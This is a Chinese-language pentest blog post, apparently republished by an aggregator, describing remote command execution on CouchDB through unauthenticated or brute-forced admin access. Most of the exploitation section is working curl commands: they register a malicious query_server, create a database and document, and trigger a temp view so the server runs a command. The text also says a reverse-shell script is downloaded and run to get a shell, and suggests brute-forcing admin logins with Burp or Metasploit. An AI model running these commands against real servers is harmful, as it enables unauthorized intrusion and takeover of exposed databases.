Remote Command Execution via CouchDB

Posted petewell

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Remote Command Execution via CouchDB相关的知识,希望对你有一定的参考价值。

11 Sep 2016 ? Pentest, Database

背景介绍

CouchDB是一个开源的面向文档的数据库管理系统,可以通过 RESTful javascript Object Notation (JSON) API 访问。CouchDB可以安装在大部分POSIX系统上,包括Linux和Mac OS X。

漏洞介绍

Couchdb默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

使用nmap扫描可发现couchdb的banner信息 技术图片

执行命令需要使用admin权限,如果数据库存在未授权则可直接利用,若有账号认证则需要想办法获取admin的密码,当然可通过burpsuit去爆破/_utils/,也可以通过metasploit中的auxiliary/scanner/Couchdb/Couchdb/Couchdb/Couchdb_login模块直接进行爆破 CouchDB提供了一个可视化界面工具,在浏览器中运行“http://127.0.0.1:5984/_utils/”,即可见到如下所示的界面。 技术图片

漏洞利用

这里举例有账号认证的情况,我们需要使用admin身份登录然后获取cookie,再使用curl命令与api进行交互,实现数据库操作 技术图片

远程命令执行示例

  1. 新增query_server配置,写入要执行的命令;
  2. 新建一个临时库和临时表,插入一条记录;
  3. 调用query_server处理数据
curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' -d '"python /tmp/back.py"'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X PUT 'http://192.168.199.181:5984/teeest'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X PUT 'http://192.168.199.181:5984/teeest/vul' -d '"_id":"770895a97726d5ca6d70a22173005c7b"'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X POST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11' -d '"language":"cmd","map":""' -H 'Content-Type: application/json'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

远程下载反弹脚本 技术图片 成功监听到下载请求 技术图片 添加执行权限 技术图片 执行反弹脚本 技术图片 getshell,读取flag 技术图片

同样你也可以不用登录获取Cookie,直接在curl请求中带入账号密码也是可以的,类似于这样,执行效果是一样的,这种方法可能更方便点吧

root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/_config/query_servers/cmd' -d '"curl http://192.168.199.140/flag"'
"curl http://192.168.199.140/flag"
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa'
"ok":true
root@Urahara:~# curl -X PUT 'admin:1qaz2wsx@192.168.199.165:5984/wa/haha' -d '"_id":"770895a97726d5ca6d70a22173005c7a"'"ok":true,"id":"haha","rev":"1-967a00dff5e02add41819138abb3284d"
root@Urahara:~# curl -X POST 'admin:1qaz2wsx@192.168.199.165:5984/wa/_temp_view?limit=14' -d '"language":"cmd","map":""' -H 'Content-Type: application/json'

参考

CouchDB未授权访问导致执行任意系统命令漏洞

CouchDB未授权访问漏洞导致系统命令执行

原文:大专栏  Remote Command Execution via CouchDB


以上是关于Remote Command Execution via CouchDB的主要内容,如果未能解决你的问题,请参考以下文章

REMOTE EXECUTION

python amon_remote_execution.py

[POC分享]VMware vCenter 6.5 / 7.0 Remote Code Execution

[POC分享]VMware vCenter 6.5 / 7.0 Remote Code Execution

Microsoft Windows 2003 SP2 - 'ERRATICGOPHER' SMB Remote Code Execution

MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vu